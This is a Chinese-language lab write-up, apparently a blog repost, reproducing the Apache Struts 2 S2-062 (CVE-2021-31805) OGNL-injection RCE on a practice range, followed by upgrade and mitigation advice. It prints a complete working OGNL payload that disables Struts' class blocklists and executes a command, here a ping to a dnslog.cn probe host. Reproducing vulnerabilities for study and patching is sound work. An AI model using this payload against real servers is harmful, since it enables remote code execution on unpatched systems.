S2-062_RCE漏洞復現(CVE-2021-31805)


一、漏洞描述

該漏洞是由於對S2-061(CVE-2020-17530)的修復不完整,在Apache Struts 2.0.0-2.5.29版本范圍內,如果開發人員使用 %{xxx} 語法進行強制OGNL解析時,標簽的某些屬性仍然可被二次解析。當解析未經驗證的用戶輸入時可能會導致遠程代碼執行。

二、影響范圍

2.0.0 <= Struts >=2.5.29

三、漏洞復現

復現環境:vulfocus靶場

注冊登錄后啟動CVE-2021-31805漏洞環境

 

 

 

訪問漏洞地址,訪問地址+測試路徑。

 

這里使用Post方式傳參,如果使用Get方法,抓包時需將Get改為Post。

 

 

 burp抓包發送Repeater,在name參數后插入payload。

 由於靶場無回顯,這里使用dnslog探測。

payload:

(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'ping 2842la.dnslog.cn'}))

這里將payload進行URL編碼后發送,可在dnslog平台看到有響應,說明漏洞存在。

 

四、修復建議

1. Apahce官方已發布最新版本Struts2.5.30修復該漏洞,建議受影響的用戶盡快將Apache Struts框架升級至最新版本。
 
下載鏈接:
 
https://struts.apache.org/download.cgi#struts-ga
 
2. 臨時解決方法:
 
1) 避免對不受信任的用戶輸入使用強制OGNL解析
 
2) 開啟ONGL表達式注入保護


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM